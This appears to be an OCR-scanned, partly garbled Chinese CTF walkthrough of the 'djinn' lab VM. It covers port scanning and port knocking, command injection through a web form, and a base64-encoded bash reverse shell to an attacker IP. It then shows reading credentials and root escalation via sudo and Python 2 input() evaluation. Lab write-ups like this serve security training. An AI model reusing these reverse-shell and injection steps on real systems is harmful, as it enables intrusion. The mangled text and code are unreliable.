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nmap -sV -p ©-65535 192.168.34.152

FTIUASEO: 21221337 7331,

B2 OSAES T ARELEREEMELAF, Wik

game.txt

| game.txt - i0FAE

THEF) EEE(E) ERO) ZB(V) BEH)

oh and | forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.

game.txt5 #1337 0 A — Mk



message.txt

| message.txt - ig=4s

THF) SEEE) ERO) BE(Y) HENH)

@nitish81299 | am going on holidays for few days, please take care of all the work.
And don't mess up anything.

creds.txt
| *creds.txt - ig= A

STEEHF) BAB(E) HER(0) EE(V) FENH)
nitu:81299

U7 18] 1337 3w 1 )9 2K

b'Here-is-your-gift, -I-hope:you-know-what-to-do-with-it:\n\nl356, 6784, -3409\n"'
b'\n’
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[Finished-in-43.7s]
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kaliZZ%knockd : apt-get install knockd
FHERRELT:

knock 192.168.34.152 1356 6784 3409

AR, LEinmapi R 9% K sshiv R 2 fiter, NEEBBIEA, Kt 4 Ropen? BFIARZMBLMILIIT . &
MR TR EsshiiFF T o 2 piopentkZ
RS ERET, KEMRFTHT T

HxXKEAR

FER73315 0. A python2. 734 HIwebR % . VilEXA73313% 0

Lost in space b4
<« ¢ @ @ 192.168.34.152.7331 B3 e % mwoehw @ =
Exaiesss @ HFrE E=Amn O 55ms © htpy/192.168.34.15.. O#anaE HEs

Let's see how good your are.

late for Bootstrap, by (@mdo.

B LIXA T AR MR H %

hon3 . \dirsearch. py htty

Extensions: *  HTTP method: get

Error Log: D:\Program File:s

Target: http://1

[15:36:10] Starting:
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ERR@R 403

THIS AREA IS FORBIDDEN. TURN BACK NOW!

i lawish
« ¢ (0 192.168.34.152:7331/wish

Bymsres @ Hirtk DEERL O sFiE O htpy92168.3405...

Oh vou found me then go on make a wish.

This can make all your wishes come true

Execute:
Submit
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<img class= wing rightwing
src= https://wew. blissfullemon. com/wp—content/uploads/2018,/09,/bat—wing. png >

<Sdive
<p» uid=33(www—data) gid=33(www-data) groups=33(www-data)
<pr

<img class="foregroundimg” sre="https://www.blis Sf‘.leﬁ_o n. com/wp—content/uploads/2018/09/Haunt

<Sdive

<hl elass="errorcode”>ERROR 403</hl>

<div class="errortext”>This area is forbidden. Turn back now!</div>
'— <p> Template taken from freefrontend. com</p> ——

</body>
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AT #— A shell

bash -i >& /dev/tcp/192.168.34.80/6666 0>&1 . 192.168.34.807& FKkaliftip.
TR i $2 7~ Wrong choice of words.

<Sdive
<p> Wrong choice of words </p>
{img elass="foregroundimg” src="https://wew.blissfullemon. com/wp—content/uploads/

WU T —EFR, MAEREARARER. 2K, SWETWTFFEH

Zeidiiok. 13 Fbaseb4%iid /R JG Fiff Rt 45 bash.
base64in% M ¥ https://www.baseb4encode.org/ « IXANR A2 e 4T urlgm i
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIUMTY4LjMOLjgwLzY2NjYgMD4mMQ== | base64 -d | bash

BIh % kali [z 3 T shell.
PR 32 F

Is &I 2410 B % T F Napp.py
cat app.py



import subprocess

from flask import Flask, redirect, render_template, request, url_for

app = Flask(__name_)
app.secret_key = "key"

CREDS = "/home/nitish/.dev/creds.txt"
RCE = ['II/'I'IJ 'I'I.'IIJ 'II?'I'IJ 'I'I:‘:'IIJ 'II,.J\'I'IJ 'I'I$'I|J l'eval'“, 'I'I;'II]
def validate(cmd):

if CREDS in cmd and "cat"™ not in cmd:
return True

% Ncreds.txt. 18 Fnitishf) k5 F#% 15
nitish:p4sswerdStr3ren9

python -c "import pty;pty.spawn('/bin/bash"')"

R —AMty. SR J5su nitish.
R Th B Bt

sudo -1

RILAT P DA samA F $uiTgeniefir 4.

itish@djinn:/opt/86% sudo -1
atching Defaults entries for nitish on djinn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

ser nitish may run the following commands on djinn:
(sam) NOPASSWD: /fusr/bin/genie
itish@djinn:/opt/8e$ []

man genie

BEMmAgenieMFHBIFM, Zgenie -h@FE AN W-cik i .



Though genie can't gurantee you that your wish will be heard by God, he's a busy man you know;

-p, --shell
Well who doesn't love those. You can get shell. Ex: -p "/bin/sh"
-e, --exec

Execute command on someone else computer is just too damn fun, but this comes with some restrictio

You know sometime all you new is a damn CMD, windows I love you.

sudo -u sam genie -cmd abcd

X B fabedBEEHIAN, AEEHIAbash, BOLWET, WA AT UE T HAh 75

nitish@djinn:~% sudo -u sam genie -cmd abcd
my man!!

$ whoami

sam

N |

RN 2] T samA 7 IALRR «

4L sudo -1

$ sudo -1
Matching Defaults entries for sam on djinn:

env_reset, mail badpass,

secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in

User sam may run the following commands on djinn:
(root) NOPASSWD: /root/lago
Y |

samH /7] BL Lhroot & 173 #1447 root/lagoin &

$ sudo /root/lago

What do you want to do 7
1 - Be naughty

2 - Guess the number

3 - Read some damn files
4 - Work

Enter your choice:|j
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NRAE SRR, fEsamfIZK H R THRE| T pyc3 i

¢ cd /home/sam
¢ 1s -al

total 36
drwxr-x---
drwxr-xr-x

Sdm

root
root
root

3 T #Fkali o
EHLIZT: python3 -m http.server 6666
kaliizfT: wget http://192.168.34.152/.pyc

.bash_history
.bash_logout

.cache

.gnupg

.profile

-pyc

.sudo_as_admin_ successful

RIGpyc R FE—T . ILBRIEEHSHpyc. RAMZEY https://tool.lu/pyc/
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B py I TARE. SHERTEPythonkRE
PR | SRR

#! fusr/binfeny python

# encoding utf-8

# MREETHE, FAUEFHRFRASE! http S tool. lu/pye
from getpass import getuser

from os import system

from random import randint

def nmaughtyboi():
primt “Working om it!! 7

def guessie()
num = randint (1, 101}
print “Chooze a number between 1 to 100: 7
= = input { Enter svour mmber: ')
if & == num
systen( fbin/sh’)
else

print ’Better Luck next time’

def readiiles()
user = getuser()
path = input { Enter the full of the file to read

i3 HhE HR H
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BECRE, AEEEFREER:

SR TNIERE: Hmhd

#Hit T —TF, XEMEMHpython25H].
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def 0

print “Working on it!!

—

def 4
num = randint (1, 101)

print "Choose a rumber between 1 to 100:

z = input (" Enter your number: °)

if g == num:
zysten( /binf=h’)
elze:

print “Better Luck next time’

def i
user = getuser()
path = input " Enter the full of the file to read: ")
print "Uszer %z iz not allowed to read %7 % {user, path)

def e

nrint " What Ao woa want to Ao ?7

EWinputBE X ESERN P —HEE
http://www.darkerbox.com/index.php/archives/201/

BUGEITERE, BAnum, FnumMnumiiZE. K#rootshell.

$ sudo /root/Llago
What do you want to do ?
1 - Be naughty

2 - Guess the number

3 - Read some damn files

4 - Work

Enter your choice:2

22

Choose a number between 1 to 100:
Enter your number: num

# id

uii=0{root} gid=08(root) groups=0(root)
#

XEERB—MREFKRT .
https://blog.csdn.net/weixin_44214107
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